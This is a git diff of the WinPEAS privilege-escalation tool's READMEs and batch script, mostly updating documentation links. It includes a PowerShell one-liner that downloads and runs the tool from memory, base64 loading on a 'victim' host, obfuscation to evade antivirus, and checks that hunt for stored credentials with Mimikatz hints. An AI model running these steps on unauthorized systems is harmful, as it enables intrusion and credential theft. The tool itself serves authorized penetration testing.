Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**. Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
## WinPEAS .exe and .bat ## WinPEAS .exe and .bat
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat) - [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required) - [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks** - **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
## Please, if this tool has been useful for you consider to donate
[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.patreon.com/peass)
## PEASS Style ## PEASS Style
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
@@ -26,8 +22,4 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
## License By Polop
MIT License
By Polop<sup>(TM)</sup>

View File

@@ -2,9 +2,9 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png)
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required) ### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required)
@@ -129,16 +129,9 @@ This is the kind of outpuf that you have to look for when usnig the winPEAS.bat
[More info about icacls here](https://ss64.com/nt/icacls.html) [More info about icacls here](https://ss64.com/nt/icacls.html)
## Please, if this tool has been useful for you consider to donate
[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.patreon.com/peass)
## Advisory ## Advisory
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
## License
MIT License
By Polop<sup>(TM)</sup> By Polop<sup>(TM)</sup>

View File

@@ -55,7 +55,7 @@ ECHO.
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS" CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
systeminfo systeminfo
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -174,7 +174,7 @@ CALL :T_Progress 1
:UACSettings :UACSettings
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings" CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -225,7 +225,7 @@ CALL :T_Progress 1
:InstalledSoftware :InstalledSoftware
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE" CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
ECHO. ECHO.
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\" reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
@@ -236,15 +236,15 @@ CALL :T_Progress 2
:RemodeDeskCredMgr :RemodeDeskCredMgr
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager" CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager
IF exist "%AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
:WSUS :WSUS
CALL :ColorLine " %E%33m[+]%E%97m WSUS" CALL :ColorLine " %E%33m[+]%E%97m WSUS"
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit) ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://" reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -252,7 +252,7 @@ CALL :T_Progress 1
:RunningProcesses :RunningProcesses
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES" CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
ECHO. [i] Something unexpected is running? Check for vulnerabilities ECHO. [i] Something unexpected is running? Check for vulnerabilities
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes
tasklist /SVC tasklist /SVC
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -273,7 +273,7 @@ CALL :T_Progress 3
:RunAtStartup :RunAtStartup
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP" CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^ ::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
@@ -297,7 +297,7 @@ CALL :T_Progress 2
:AlwaysInstallElevated :AlwaysInstallElevated
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?" CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;) ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
ECHO. ECHO.
@@ -361,7 +361,7 @@ CALL :T_Progress 1
:BasicUserInfo :BasicUserInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
ECHO. ECHO.
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER" CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
net user %username% net user %username%
@@ -435,7 +435,7 @@ ECHO.
:ServiceBinaryPermissions :ServiceBinaryPermissions
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS" CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do ( for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO. for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
) )
@@ -444,7 +444,7 @@ CALL :T_Progress 1
:CheckRegistryModificationAbilities :CheckRegistryModificationAbilities
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY" CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -453,7 +453,7 @@ CALL :T_Progress 1
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS" CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe' ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
ECHO. [i] The permissions are also checked and filtered using icacls ECHO. [i] The permissions are also checked and filtered using icacls
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO. ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
@@ -468,7 +468,7 @@ ECHO.
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable" CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -477,7 +477,7 @@ CALL :T_Progress 1
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS" CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
ECHO. ECHO.
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT" CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault
cmdkey /list cmdkey /list
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -485,14 +485,14 @@ CALL :T_Progress 2
:DPAPIMasterKeys :DPAPIMasterKeys
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
CALL :T_Progress 2 CALL :T_Progress 2
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
ECHO. ECHO.
ECHO.Looking inside %appdata%\Microsoft\Credentials\ ECHO.Looking inside %appdata%\Microsoft\Credentials\
ECHO. ECHO.
@@ -565,7 +565,7 @@ CALL :T_Progress 2
:AppCMD :AppCMD
CALL :ColorLine " %E%33m[+]%E%97m AppCmd" CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists. IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -573,7 +573,7 @@ CALL :T_Progress 2
:RegFilesCredentials :RegFilesCredentials
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials" CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
ECHO. [i] Searching specific files that may contains credentials. ECHO. [i] Searching specific files that may contains credentials.
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
CALL :T_Progress 2 CALL :T_Progress 2

View File

@@ -2,9 +2,9 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png)
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)** Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
[![youtube](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/screen.png)](https://youtu.be/66gOwXMnxRI) [![youtube](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/screen.png)](https://youtu.be/66gOwXMnxRI)
@@ -13,22 +13,24 @@ Check also the **Local Windows Privilege Escalation checklist** from **[book.hac
**.Net >= 4.5.2 is required** **.Net >= 4.5.2 is required**
Precompiled binaries: Precompiled binaries:
- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)** or **compile it yourself** (read instructions for compilation). - Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/carlospolop/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation).
```bash ```bash
#One liner to download and execute winPEASany from memory in a PS shell # Get latest release
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("") $url = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"
#Before cmd in 3 lines # One liner to download and execute winPEASany from memory in a PS shell
$url = "https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/winPEASany_ofs.exe" $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
# Before cmd in 3 lines
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use [winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
#Load from disk in memory and execute: # Load from disk in memory and execute:
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe"))); $wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use [winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
#Load from disk in base64 and execute # Load from disk in base64 and execute
##Generate winpeas in Base64: ##Generate winpeas in Base64:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("D:\Users\user\winPEAS.exe")) | Out-File -Encoding ASCII D:\Users\user\winPEAS.txt [Convert]::ToBase64String([IO.File]::ReadAllBytes("D:\Users\user\winPEAS.exe")) | Out-File -Encoding ASCII D:\Users\user\winPEAS.txt
##Now upload the B64 string to the victim inside a file or copy it to the clipboard ##Now upload the B64 string to the victim inside a file or copy it to the clipboard
@@ -41,7 +43,7 @@ $thecontent = "aaaaaaaa..." #Where "aaa..." is the winpeas base64 string
$wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent)) $wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent))
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use [winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
#Loading from file and executing a winpeas obfuscated version # Loading from file and executing a winpeas obfuscated version
##Load obfuscated version ##Load obfuscated version
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS-Obfuscated.exe"))); $wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS-Obfuscated.exe")));
$wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from "winPEAS.Program" $wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from "winPEAS.Program"
@@ -64,8 +66,7 @@ winpeas.exe -lolbas #Execute also additional LOLBAS search check
## Help ## Help
``` ```
quiet Do not print banner domain Enumerate domain information
notcolor Don't use ansi colors (all white)
systeminfo Search system information systeminfo Search system information
userinfo Search user information userinfo Search user information
processinfo Search processes information processinfo Search processes information
@@ -74,16 +75,22 @@ applicationsinfo Search installed applications information
networkinfo Search network information networkinfo Search network information
windowscreds Search windows credentials windowscreds Search windows credentials
browserinfo Search browser information browserinfo Search browser information
filesinfo Search files that can contains credentials filesinfo Search generic files that can contains credentials
fileanalysis Search specific files that can contains credentials and for regexes inside files
eventsinfo Display interesting events information eventsinfo Display interesting events information
quiet Do not print banner
notcolor Don't use ansi colors (all white)
searchpf Search credentials via regex also in Program Files folders
wait Wait for user input between checks wait Wait for user input between checks
debug Display debugging information - memory usage, method execution time debug Display debugging information - memory usage, method execution time
log=[logfile] Log all output to file defined as logfile, or to "out.txt" if not specified log[=logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
MaxRegexFileSize=1000000 Max file size (in Bytes) to search regex in. Default: 1000000B
Additional checks (slower): Additional checks (slower):
-lolbas Run additional LOLBAS check -lolbas Run additional LOLBAS check
-linpeas=[url] Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL -linpeas=[url] Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL
(default: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh) (default: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh)
``` ```
## Basic information ## Basic information
@@ -103,9 +110,13 @@ REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective). Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective).
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/colors.png)
## Instructions to compile you own obfuscated version ## Instructions to compile you own obfuscated version
<details>
<summary>Details</summary>
In order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*. In order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*.
To install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator"* and just follow the instructions to install it. To install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator"* and just follow the instructions to install it.
@@ -123,10 +134,9 @@ Once you have installed and activated it you need to:
![](https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/winPEAS/winPEASexe/images/dotfuscator.PNG) ![](https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/winPEAS/winPEASexe/images/dotfuscator.PNG)
**IMPORTANT**: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved:
## Colors ![](https://user-images.githubusercontent.com/1741662/148418852-e7ffee6a-c270-4e26-bf38-bb8977b3ad9c.png)
</details>
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/colors.png)
## Checks ## Checks
